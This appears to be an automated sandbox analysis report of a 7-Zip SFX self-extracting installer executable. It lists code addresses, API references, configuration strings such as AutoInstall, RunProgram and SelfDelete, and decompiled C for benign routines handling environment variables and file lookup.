0x004063c6
0x004063d3
0x004063da
0x004063df
0x004063e1
0x004063e7
0x004063ed
0x004063f7
0x004063fb
0x00406400
0x00406407
0x0040640c
0x00406411
0x0040641d
0x00406426
0x0040642b
0x0040642d
0x0040642f
0x00406435
0x00406437
0x0040643c
0x0040643c
0x00406448
0x0040644f
0x00406458
0x0040645d
0x00406462
0x00406468
0x0040646d
0x00406473
0x00406473
0x00406483
0x0040648e
0x00406495
0x0040649a
0x0040649c
0x004064c4
0x004064c9
0x004064d3
0x004064d5
0x004064da
0x004064dc
0x004064de
0x004064ed
0x004064f4
0x00406563
0x00406563
0x0040656a
0x00406931
0x00406931
0x00406934
0x00000000
0x00406939
0x00406570
0x00406575
0x004065ad
0x004065ad
0x004065af
0x00000000
0x00000000
0x00406589
0x00406591
0x00406596
0x0040659b
0x004065a3
0x004065a8
0x004065a8
0x004065ab
0x004065ab
0x004065b2
0x004065b4
0x004065b9
0x004065be
0x004065c1
0x004065c3
0x004065d5
0x004065e6
0x004065e8
0x004065ea
0x004066d4
0x004066e0
0x004066e5
0x004066f0
0x004066f5
0x004066fc
0x00406701
0x00406706
0x0040670b
0x0040670f
0x0040684c
0x0040684c
0x00406859
0x004068ab
0x004068ab
0x004068ad
0x004068af
0x00000000
0x00000000
0x00406866
0x00406870
0x00406871
0x00406876
0x00406878
0x004068b3
0x004068b6
0x004068bc
0x004068bc
0x004068c1
0x004068c8
0x004068ca
0x004068ca
0x004068d0
0x004068d6
0x0040693f
0x00406945
0x00406947
0x00406947
0x00406947
0x00406952
0x0040695f
0x00406969
0x0040696b
0x00406970
0x00406975
0x00406975
0x0040697e
0x0040698a
0x0040698f
0x00406991
0x00406994
0x0040699b
0x0040699b
0x004069a0
0x004069a6
0x004069b4
0x004069bb
0x004069c4
0x004069d2
0x004069d7
0x004069e5
0x004069ef
0x004069f1
0x004069f3
0x004069fa
0x004069fe
0x00406a03
0x00406a10
0x00406a15
0x00406a1e
0x00406a25
0x00406a2a
0x00406a38
0x00406a3d
0x00406a40
0x00406a45
0x004069fa
0x00406a4b
0x00406a50
0x00406a57
0x00406a5c
0x00406a5e
0x00000000
0x00000000
0x00406a60
0x00406a67
0x00000000
0x00000000
0x00406a69
0x00406a71
0x00406a76
0x00406a78
0x00406bb8
0x00406bbb
0x00406bc0
0x00406bc1
0x00000000
0x00406bc1
0x00406a80
0x00406a8b
0x00406a8e
0x00406a90
0x00406a90
0x00406a99
0x00406aa0
0x00406aa2
0x00406aa2
0x00406aa2
0x00406aac
0x00406aaf
0x00406ab4
0x00406abb
0x00406b1f
0x00406b1f
0x00406b23
0x00406b27
0x00406b32
0x00406b37
0x00406b39
0x00406b3f
0x00406b44
0x00406b44
0x00406b48
0x00406b4c
0x00406b57
0x00406b5c
0x00406b5e
0x00406b64
0x00406b64
0x00406b5e
0x00406b4c
0x00406b69
0x00406b70
0x00406bfe
0x00406bfe
0x00406c05
0x00406c39
0x00406c41
0x00406c46
0x00406c4a
0x00406c52
0x00406c52
0x00406c57
0x00406c5a
0x00406c61
0x00406c07
0x00406c1a
0x00406c1f
0x00406c22
0x00406c27
0x00406c27
0x00406c66
0x00406c6c
0x00406c72
0x00406c72
0x00406c77
0x00406c7a
0x00406c81
0x00406c81
0x00406c82
0x00406c84
0x00406c8a
0x00000000
0x00406c7c
0x00406c7c
0x00406c7f
0x00406c8e
0x00406c8e
0x00406c95
0x00406c97
0x00406c97
0x00406c97
0x00406ca7
0x00406cac
0x00406cb8
0x00406cc0
0x00406cc2
0x00406cc7
0x00406cc9
0x00406ccb
0x00406cd2
0x00406cd6
0x00406cdb
0x00406ce8
0x00406ced
0x00406cf6
0x00406cfb
0x00406d02
0x00406d05
0x00406d0a
0x00406d1a
0x00406d1f
0x00406d22
0x00406d27
0x00406cd2
0x00406d28
0x00406d2f
0x00406d3d
0x00406d42
0x00406d44
0x00000000
0x00000000
0x00406d46
0x00000000
0x00406d31
0x00406d36
0x00406d4b
0x00406d4b
0x00406d4d
0x00406d76
0x00406d76
0x00406d7b
0x00406d82
0x00406d91
0x00406d9c
0x00406da1
0x00406da8
0x00406dad
0x00406dad
0x00406db2
0x00406db4
0x00406db7
0x00406e83
0x00406e96
0x00000000
0x00406dbd
0x00406dbd
0x00406dc3
0x00406e9b
0x00406e9b
0x00406ea1
0x00406ea3
0x00406eba
0x00406ec5
0x00406edd
0x00406ee2
0x00406ee2
0x00406ee7
0x00406eea
0x00406eef
0x00406ef2
0x00406efd
0x00406efd
0x00406f04
0x00406f19
0x00406f19
0x00406f1f
0x00406f2d
0x00406f2f
0x00406f31
0x00406f38
0x00406f3e
0x00406f40
0x00406f40
0x00406f4b
0x00406f60
0x00406f6a
0x00406f7c
0x00406f7c
0x00406f31
0x00406f81
0x00406f81
0x00406f88
0x00406f8a
0x00406f90
0x00406f99
0x00406f9e
0x00406fa0
0x00406fa2
0x00406fa6
0x00406fb2
0x00406fb7
0x00406fb7
0x00406fa6
0x00406fa0
0x00406f90
0x00406fbc
0x00406fbf
0x00406fc4
0x00406fc7
0x00406fcc
0x00406fcf
0x00406fd4
0x00406fd7
0x00406fdc
0x00406fdf
0x00406fe4
0x00406fe7
0x00406fef
0x00000000
0x00406fef
0x00406f06
0x00406f0d
0x00000000
0x00000000
0x00406f0f
0x00000000
0x00406f0f
0x00406dc9
0x00406de1
0x00406df0
0x00406df5
0x00406df8
0x00406dfd
0x00406e00
0x00406e0a
0x00406e10
0x00406e13
0x00406e52
0x00406e5c
0x00406e70
0x00406e75
0x00406e78
0x00000000
0x00406e7d
0x00406e15
0x00406e1a
0x00406e1c
0x00406e1d
0x00406e22
0x00406e25
0x00406e2a
0x00406e2d
0x00406e32
0x00406e35
0x00406e3a
0x00406e3d
0x00406e42
0x00406e45
0x00406e4a
0x00406295
0x00406295
0x00000000
0x00406295
0x00406db7
0x00406d84
0x00406d8b
0x00406efb
0x00406efb
0x00000000
0x00406efb
0x00000000
0x00406d8b
0x00406d4f
0x00406d54
0x00406d57
0x00406d5c
0x00406d5f
0x00406d64
0x00406d67
0x00406d6c
0x00406d6f
0x00000000
0x00406d6f
0x00406d2f
0x00000000
0x00406c7f
0x00406b76
0x00406b76
0x00406b7d
0x00000000
0x00000000
0x00406b7f
0x00406b89
0x00406b8b
0x00000000
0x00000000
0x00406b8d
0x00406b93
0x00406b99
0x00406b9e
0x00406ba0
0x00000000
0x00000000
0x00406ba2
0x00406ba5
0x00406bab
0x00406bee
0x00406bf3
0x00406bf6
0x00000000
0x00406bfb
0x00406bad
0x00000000
0x00406bb2
0x00406b70
0x00406abd
0x00406ac3
0x00406acb
0x00406ad7
0x00406ae1
0x00406ae6
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00406af1
0x00406af4
0x00406af7
0x00406afe
0x00406afe
0x00406b01
0x00406b08
0x00406b08
0x00406b0b
0x00406b12
0x00406b1a
0x00000000
0x00406b1a
0x00406b0d
0x00406b10
0x00000000
0x00000000
0x00000000
0x00406b10
0x00406b03
0x00406b06
0x00000000
0x00000000
0x00000000
0x00406b06
0x00406af9
0x00406afc
0x00000000
0x00000000
0x00000000
0x00406afc
0x00406bcf
0x00406bd4
0x00406bd7
0x00406bdc
0x00406bdf
0x00406be4
0x00406be7
0x00000000
0x00406be7
0x00406a50
0x004069bd
0x00000000
0x004069a8
0x004069a8
0x004069ad
0x004069ad
0x00000000
0x004069ad
0x004068d8
0x004068df
0x004068e4
0x004068e6
0x004068e8
0x004068ec
0x004068f2
0x004068f2
0x004068fa
0x00406910
0x0040691a
0x0040692c
0x00000000
0x0040692c
0x004068d6
0x0040687d
0x00406884
0x0040688c
0x00406890
0x00406895
0x00406898
0x00406898
0x00406898
0x0040689b
0x004068a6
0x004068a6
0x00000000
0x004068b1
0x00406715
0x0040671c
0x00000000
0x00000000
0x00406722
0x00406727
0x00406729
0x00000000
0x00000000
0x0040673a
0x00406753
0x00406790
0x004067a9
0x004067ae
0x004067b1
0x004067b6
0x004067b9
0x004067be
0x004067c4
0x004067c9
0x004067cc
0x004067d1
0x004067d4
0x004067d9
0x004067e7
0x004067f0
0x004067f3
0x004067f4
0x004067f9
0x004067fc
0x004067fe
0x00406827
0x0040682c
0x0040682f
0x00406834
0x00406837
0x0040683c
0x0040683f
0x00406844
0x00000000
0x00406844
0x00406800
0x00406805
0x00406808
0x0040680d
0x00406810
0x00406815
0x00406818
0x0040681d
0x00406820
0x00000000
0x00406820
0x004065f6
0x0040660d
0x0040661e
0x00406625
0x00406631
0x00406631
0x00406633
0x00406634
0x00406634
0x00406636
0x00406636
0x00406644
0x00406646
0x00406647
0x00406647
0x0040664c
0x0040664e
0x0040664e
0x00406650
0x00406652
0x00406653
0x0040665b
0x00406665
0x00406665
0x0040666b
0x00406671
0x00406671
0x00406671
0x00406674
0x00406677
0x00406679
0x0040667f
0x00406680
0x00406681
0x00406683
0x00406685
0x00406689
0x0040668a
0x00406692
0x00406692
0x00406692
0x00406685
0x0040669c
0x004066a4
0x004066a7
0x004066a8
0x004066a8
0x004066ad
0x004066af
0x004066c3
0x004066c8
0x004066cf
0x00000000
0x004066cf
0x004065c5
0x004065c8
0x004065ce
0x00000000
0x004065ce
0x004064f6
0x004064fd
0x00406502
0x00406504
0x00000000
0x00000000
0x00406506
0x0040650a
0x0040650c
0x0040650c
0x0040650c
0x0040650f
0x00406512
0x00406515
0x00000000
0x0040651b
0x0040651b
0x0040651b
0x0040651f
0x00000000
0x00000000
0x00406521
0x00406524
0x00406527
0x0040652a
0x00000000
0x00000000
0x00000000
0x0040652a
0x0040652c
0x00406530
0x00000000
0x00000000
0x00406536
0x0040653b
0x00406540
0x00406542
0x00000000
0x00000000
0x00406548
0x0040654a
0x0040654c
0x00406551
0x00406554
0x00406559
0x0040655c
0x00000000
0x0040655c
0x00406515
0x004064e0
0x004064e0
0x004064e3
0x00000000
0x0040649e
0x004064a8
0x004064ad
0x004064b0
0x00406238
0x00406238
0x00000000
0x00406238
0x0040649c
0x00406230
0x00406234
0x0040623e
0x00406246
0x00406249
0x00406249
0x0040624c
0x00406350
0x0040635f
0x0040635f
0x0040635f
0x00406362
0x00000000
0x00000000
0x0040635c
0x0040635c
0x0040635c
0x00406364
0x0040636b
0x0040636d
0x00406372
0x00406374
0x00000000
0x00000000
0x00406376
0x0040637a
0x00406387
0x00406387
0x0040638a
0x0040638d
0x0040637e
0x00406382
0x00000000
0x00000000
0x00406384
0x00406384
0x00406384
0x00000000
0x00406384
0x0040638f
0x00406392
0x00406398
0x0040639b
0x004063a0
0x004063a5
0x004063ac
0x004063ae
0x004063b6
0x004063b6
0x00000000
0x004063ae
0x00000000
0x0040637c
0x00406253
0x00406253
0x00406254
0x0040633e
0x00406349
0x00000000
0x00406349
0x0040625a
0x0040625a
0x0040625b
0x004062b9
0x004062bc
0x004062fb
0x004062fb
0x004062fe
0x004062fe
0x00406305
0x00406309
0x00406326
0x00406326
0x00406330
0x00406330
0x00000000
0x00406330
0x0040630b
0x0040630b
0x0040630f
0x00406316
0x0040631b
0x00406320
0x00000000
0x00000000
0x00406322
0x00406324
0x00000000
0x00000000
0x00000000
0x00406324
0x004062be
0x004062c3
0x00000000
0x00000000
0x004062c9
0x004062e5
0x004062e5
0x004062e8
0x004062eb
0x00000000
0x00000000
0x004062ce
0x004062d2
0x00000000
0x00000000
0x004062dd
0x004062e2
0x004062e2
0x004062e2
0x004062ed
0x004062f4
0x00000000
0x00000000
0x00000000
0x004062f6
0x0040625d
0x0040625d
0x00406260
0x00406271
0x00406276
0x00000000
0x00000000
0x00406280
0x00406280
0x00406283
0x004062b3
0x00000000
0x004062b3
0x00406285
0x00406285
0x00406286
0x004062a7
0x00000000
0x004062a7
0x00406288
0x00406288
0x00406289
0x004062a3
0x00000000
0x004062a3
0x0040628b
0x0040628b
0x0040628c
0x00406299
0x00000000
0x00406299
0x0040628e
0x0040628f
0x00000000
0x00000000
0x00000000
0x0040628f
0x00406262
0x00406265
0x00000000
0x00406267
0x00406267
0x00000000
0x00406267
0x00406265
0x00406236
0x00406236
0x00000000
0x00406201
0x00406203
0x00406203
0x00406204
0x00406206
0x00406207
0x0040620d
0x00000000
0x0040620d
0x004061bc
0x004061c3
0x00000000
0x004061c3
0x00406183
0x00406183
0x00406188
0x00406188
0x0040618a
0x0040618a
0x0040618d
0x00406192
0x00406195
0x0040619a
0x0040619d
0x004061a5
0x0040700a
0x00407011
0x00407011
0x0040614e
0x0040614e
0x00406152
0x00406159
0x00406162
0x00406164
0x00406164
0x0040616a
0x0040616a
0x0040616d
0x00000000
0x0040616a
0x00406146

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00406037

Part of subcall function 00403834: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 00403840
Part of subcall function 00403834: CreateWindowExW.USER32 ref: 0040385D
Part of subcall function 00403834: GetDesktopWindow.USER32 ref: 00403869
Part of subcall function 00403834: GetWindowRect.USER32 ref: 00403870
Part of subcall function 00403834: SetWindowPos.USER32(00000000,00000000,?,00406043,00000000,00000000,00000004), ref: 00403894
Part of subcall function 00403834: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 004038A4
Part of subcall function 00403834: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004038B1
Part of subcall function 00403834: DispatchMessageW.USER32 ref: 004038BB
Part of subcall function 00403834: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 004038C4

GetVersionExW.KERNEL32(?,?,00000000), ref: 00406054
MessageBoxA.USER32 ref: 00407001

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 0040541A: LoadLibraryA.KERNEL32(kernel32,?,?,00000000), ref: 0040542B
Part of subcall function 0040541A: #17.COMCTL32(?,?,00000000), ref: 00405436
Part of subcall function 0040541A: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,00000000), ref: 004054BB
Part of subcall function 0040541A: wsprintfW.USER32 ref: 004054CF

GetCommandLineW.KERNEL32(?,00000000), ref: 004060AD

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 004045F1
Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 0040460D
Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 00404615
Part of subcall function 0040457E: ??3@YAXPAX@Z.MSVCRT ref: 00404680

Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD0
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD9
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FE1

GetCommandLineW.KERNEL32(00000001,00000001,00000001,00000000,?,00000000), ref: 004060F3

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

wsprintfW.USER32 ref: 00406119

Part of subcall function 004056BA: lstrlenW.KERNEL32(sfxlang,?,73B749F0,?,00000001,00406144,00000001), ref: 004056FB
Part of subcall function 004056BA: lstrlenW.KERNEL32(sfxlang), ref: 00405700

_wtol.MSVCRT(-00000002,00000001), ref: 00406152
??3@YAXPAX@Z.MSVCRT ref: 0040618D
??3@YAXPAX@Z.MSVCRT ref: 00406195
??3@YAXPAX@Z.MSVCRT ref: 0040619D
GetModuleFileNameW.KERNEL32(00000000,00000000,00000208,00000208,00000001), ref: 004061F7
_wtol.MSVCRT(-00000002), ref: 0040630F

Part of subcall function 004143C2: ??2@YAPAXI@Z.MSVCRT ref: 004143CA

Part of subcall function 00405319: ??3@YAXPAX@Z.MSVCRT ref: 0040535D

??3@YAXPAX@Z.MSVCRT ref: 004064E3
??3@YAXPAX@Z.MSVCRT ref: 00406554

Strings

7-Zip SFX, xrefs: 00406FF5
InstallPath, xrefs: 0040695A
SfxVarSystemPlatform, xrefs: 004060E8
BeginPromptTimeout, xrefs: 00406985
AutoInstall, xrefs: 00406AC3, 00406B12
SfxVarSystemLanguage, xrefs: 0040612E
Shortcut, xrefs: 00406EB0
sfxwaitall, xrefs: 004061AC
SfxAuthor, xrefs: 004065DC
RunProgram, xrefs: 00406B4E, 00406B60
X!B, xrefs: 00406575
sfxconfig, xrefs: 00406364, 004064F6
SfxVarCmdLine0, xrefs: 004060F7
SfxVarModulePlatform, xrefs: 004060D6
sfxlang, xrefs: 00406138
SelfDelete, xrefs: 00406F94
D(B, xrefs: 004063BB
SfxVarApiPath, xrefs: 004069CD, 00406A0B, 00406CE3
setup.exe, xrefs: 00406DC9, 00406DCE, 00406E58
BeginPrompt, xrefs: 00406A52
sfxversion, xrefs: 00406173
XhV, xrefs: 004064C9, 004066E5
h(B, xrefs: 004069EA
sfxtest, xrefs: 0040621A
HelpText, xrefs: 004068DA
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 00406FFA
SfxString%d, xrefs: 00406583
FinishMessage, xrefs: 00406F23
ExecuteFile, xrefs: 00406B29, 00406B3B
PreExtract, xrefs: 00406C9E, 00406CA3
ExecuteOnLoad, xrefs: 004069DC
7ZipSfx.%03x, xrefs: 00406C07
sfxelevation, xrefs: 004061C7, 00406758
D(B, xrefs: 004061E7
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 00406626
`gV, xrefs: 0040647E
XhV, xrefs: 0040648E, 004066CF
SetEnvironment, xrefs: 0040684F
\(B, xrefs: 00406441
Delete, xrefs: 00406ED3
" -, xrefs: 0040675D
x86, xrefs: 004060D1

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$Window$??2@Message$CommandLineModuleTimer_wtollstrlenwsprintf$?_set_new_handler@@CreateDesktopDispatchFileFolderHandleKillLibraryLoadNamePathRectSpecialVersionmemcpywcsncpy
String ID: " -$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$AutoInstall$BeginPrompt$BeginPromptTimeout$D(B$D(B$Delete$ExecuteFile$ExecuteOnLoad$FinishMessage$HelpText$InstallPath$PreExtract$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$SfxString%d$SfxVarApiPath$SfxVarCmdLine0$SfxVarModulePlatform$SfxVarSystemLanguage$SfxVarSystemPlatform$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$X!B$XhV$XhV$\(B$`gV$h(B$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxtest$sfxversion$sfxwaitall$x86
API String ID: 15977253-312728069
Opcode ID: 2982219d68ed9a4b1b286f2eb04f31c18d54d1d33f0a4897e7116be29f2663fe
Instruction ID: a556a6a5a5f07645b6d0a54752984156d57e7a988d3b1907c5a6a98372b60f7b
Opcode Fuzzy Hash: 2982219d68ed9a4b1b286f2eb04f31c18d54d1d33f0a4897e7116be29f2663fe
Instruction Fuzzy Hash: 0C92F470A00215ABDB24BB61DD41BAE3661EF80708F55403FF906B62E2DBBC9C95CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403CE0, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 148
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00403CE0(WCHAR* __ecx) {
				WCHAR* _v8;
				long _v12;
				long _v16;
				short _v104;
				short _v168;
				WCHAR* _t52;
				short* _t55;
				WCHAR* _t60;
				int _t61;
				WCHAR* _t65;
				long _t67;
				WCHAR* _t68;
				WCHAR* _t69;
				int _t71;
				intOrPtr* _t73;
				char* _t78;
				WCHAR* _t79;
				signed int _t94;
				signed int _t96;
				int _t101;
				WCHAR* _t102;
				signed int _t103;
				signed int _t104;
				intOrPtr _t107;

				_t79 = __ecx;
				_t103 = 0;
				_v8 = __ecx;
				_t107 =  *0x422158; // 0x1
				if(_t107 == 0) {
					L4:
					_t104 = _t103 << 4;
					if( *((intOrPtr*)(_t104 + 0x422158)) != 0) {
						_v16 = GetLastError();
						wsprintfW( &_v104, L"SfxString%d", _v8);
						_v12 = GetEnvironmentVariableW( &_v104, 0, 0);
						__eflags = GetLastError();
						if(__eflags != 0) {
							L17:
							SetLastError(_v16);
							_t28 = _t104 + 0x422164; // 0x46550e8
							_t52 =  *_t28;
							__eflags = _t52;
							if(_t52 == 0) {
								_t29 = _t104 + 0x42215c; // 0x41e930
								_t78 =  *_t29;
								__eflags =  *(_t104 + 0x422160) - _t52;
								if(__eflags != 0) {
									__eflags = E00403C85(_t52) -  *0x41ea18; // 0x419
									if(__eflags == 0) {
										_t31 = _t104 + 0x422160; // 0x41e848
										_t78 =  *_t31;
									}
								}
								_t32 = lstrlenA(_t78) + 1; // 0x1
								_t101 = _t32;
								_t94 = 2;
								_t33 = _t101 + 2; // 0x3
								_t55 = _t33 * _t94;
								_push( ~(0 | __eflags > 0x00000000) | _t55);
								L0041C16C();
								__eflags =  *0x42211c - 0xffffffff;
								 *(_t104 + 0x422164) = _t55;
								if( *0x42211c == 0xffffffff) {
									 *0x42211c =  *0x42211c & 0x00000000;
									_t60 = GetLocaleInfoW( *0x422730 & 0x0000ffff, 0x1004,  &_v168, 0x1f);
									__eflags = _t60;
									if(_t60 > 0) {
										_t61 =  &_v168;
										__imp___wtol(_t61);
										 *0x42211c = _t61;
									}
								}
								_t43 = _t101 + 1; // 0x2
								_t44 = _t104 + 0x422164; // 0x46550e8
								MultiByteToWideChar( *0x42211c, 0, _t78, _t101,  *_t44, _t43);
								_t45 = _t104 + 0x422164; // 0x46550e8
								_t52 =  *_t45;
							}
							return _t52;
						}
						_t96 = 2;
						_t65 = (_v12 + 2) * _t96;
						_push( ~(0 | __eflags > 0x00000000) | _t65); // executed
						L0041C16C(); // executed
						_v8 = _t65;
						_t67 = GetEnvironmentVariableW( &_v104, _t65, _v12 + 1);
						__eflags = _t67 - _v12;
						if(_t67 > _v12) {
							L14:
							_push(_v8);
							L15:
							L0041C160();
							L16:
							goto L17;
						}
						_t68 = GetLastError();
						__eflags = _t68;
						if(_t68 != 0) {
							goto L14;
						}
						_t20 = _t104 + 0x422164; // 0x46550e8
						_t69 =  *_t20;
						__eflags = _t69;
						if(_t69 == 0) {
							 *(_t104 + 0x422164) = _v8;
							goto L17;
						}
						_t102 = _v8;
						_t71 = lstrcmpiW(_t69, _t102);
						__eflags = _t71;
						if(_t71 == 0) {
							_push(_t102);
							goto L15;
						}
						_t22 = _t104 + 0x422164; // 0x46550e8
						_push( *_t22);
						L0041C160();
						 *(_t104 + 0x422164) = _t102;
						goto L16;
					}
					return 0x41da3c;
				} else {
					_t73 = 0x422158;
					while( *_t73 != _t79) {
						_t103 = _t103 + 1;
						_t2 = (_t103 << 4) + 0x422158; // 0x30000000
						_t73 = _t2;
						if( *_t73 != 0) {
							continue;
						}
						goto L4;
					}
					goto L4;
				}
			}

APIs

GetLastError.KERNEL32(?,?,00000000), ref: 00403D2F
wsprintfW.USER32 ref: 00403D40
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00403D55
GetLastError.KERNEL32 ref: 00403D5A
??2@YAPAXI@Z.MSVCRT ref: 00403D75
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00403D88
GetLastError.KERNEL32 ref: 00403D8F
lstrcmpiW.KERNEL32(046550E8,00000000), ref: 00403DA4
??3@YAXPAX@Z.MSVCRT ref: 00403DB4
??3@YAXPAX@Z.MSVCRT ref: 00403DD2
SetLastError.KERNEL32(?), ref: 00403DDB
lstrlenA.KERNEL32(0041E930), ref: 00403E11
??2@YAPAXI@Z.MSVCRT ref: 00403E2C
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00403E5E
_wtol.MSVCRT(?), ref: 00403E6F
MultiByteToWideChar.KERNEL32(00000000,0041E930,00000001,046550E8,00000002), ref: 00403E8F

Strings

X!B, xrefs: 00403CFA
SfxString%d, xrefs: 00403D3A

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: SfxString%d$X!B
API String ID: 2117570002-850189017
Opcode ID: e9b4f3f5a05fcb842e9a35ba8f614be3a194fe9cdc65ba7076de621a097104dd
Instruction ID: 68e66196db71daaa07867c957ec585132196606c956435e67b7422de32b8828f
Opcode Fuzzy Hash: e9b4f3f5a05fcb842e9a35ba8f614be3a194fe9cdc65ba7076de621a097104dd
Instruction Fuzzy Hash: 71519171A00205BFDB20DF64DE45DAB7BBCEF44741F50453AE206E6290EBB4AE61CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00409931, Relevance: 4.6, APIs: 3, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00409931(void* __eax, WCHAR* _a4, intOrPtr _a8) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t16;
				void* _t18;
				intOrPtr _t36;
				intOrPtr* _t38;

				_push(0x24);
				L0041C16C();
				if(__eax == 0) {
					_t38 = 0;
				} else {
					_t38 = E00415241(__eax);
				}
				if(E0041404F(_a4) != 0) {
					_t36 = _a8;
					E004160A2(_t36, _t38);
					_t16 = FindFirstFileW(_a4,  &_v596); // executed
					if(_t16 == 0xffffffff) {
						if(_t38 != 0) {
							 *((intOrPtr*)( *_t38 + 0x14))(1);
						}
						_t18 = 1;
					} else {
						 *((intOrPtr*)(_t36 + 8)) = _v596.nFileSizeLow;
						 *((intOrPtr*)(_t36 + 0xc)) = _v596.nFileSizeHigh;
						FindClose(_t16); // executed
						_t18 = 0;
					}
					return _t18;
				} else {
					if(_t38 != 0) {
						 *((intOrPtr*)( *_t38 + 0x14))(1);
					}
					return 1;
				}
			}

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040993D
FindFirstFileW.KERNELBASE(?,?,00000000,00000000,?), ref: 0040998B
FindClose.KERNELBASE(00000000), ref: 004099A9

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$??2@CloseFileFirst
String ID:
API String ID: 4002974997-0
Opcode ID: 91c647426eba9d3caa0601590869d6121fa3b5198e89070721a6e1596570726f
Instruction ID: 04f35bf0448d31e89553be1a3bfedde72a875c1ede13cb4c157a2b7218669a26
Opcode Fuzzy Hash: 91c647426eba9d3caa0601590869d6121fa3b5198e89070721a6e1596570726f
Instruction Fuzzy Hash: 62112CB1600111ABCB10AF25CC48AAF7BA4AF48714F00443EF846EB3D2C738DC41CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00402008, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 242
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402008(signed int* __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, signed int _a12) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v32;
				char _v44;
				char _v56;
				char _v68;
				char _v80;
				char _v92;
				char _v104;
				char _v120;
				void* _t55;
				signed int _t59;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t64;
				signed int _t65;
				signed int _t66;
				signed int _t75;
				long _t77;
				long _t80;
				signed int _t88;
				signed int _t149;
				signed int* _t151;
				signed int _t152;
				signed int _t155;
				signed int _t156;
				void* _t157;

				_t151 = __ecx;
				_t159 = 0;
				_v20 = __edx;
				_v12 = 0;
				E004147DF(_t55,  &_v32);
				E00404255( &_v120, __edx, 0, _v20);
				_v16 = 0;
				_v5 = 0;
				E00405546(_t151, 0);
				_t152 =  *_t151;
				while(1) {
					L1:
					_t59 = E00404051(_t152, _t159, 0);
					_t159 = _t59;
					if(_t59 != 0) {
						break;
					}
					_t60 = E00404051(_t152, __eflags, 0);
					__eflags = _t60;
					if(__eflags != 0) {
						_v12 = _v12 | 0x00000001;
						_t152 = _t60;
						continue;
					}
					_t61 = E00404051(_t152, __eflags, 0);
					__eflags = _t61;
					if(__eflags != 0) {
						_t152 = _t61;
						__eflags =  *0x422740; // 0x1
						if(__eflags != 0) {
							L10:
							_v12 = _v12 | 0x00010000;
						}
						continue;
						L11:
						_t63 = E00404051(_t152, __eflags, 2);
						_t149 = _t63;
						__eflags = _t149;
						if(__eflags != 0) {
							__eflags =  *0x422468 - 0xffffffff;
							if(__eflags == 0) {
								_t156 = _t152 + 4;
								__eflags = _t156;
								__imp___wtol(_t156);
								 *0x422468 = _t63;
							}
							_t152 = _t149;
							continue;
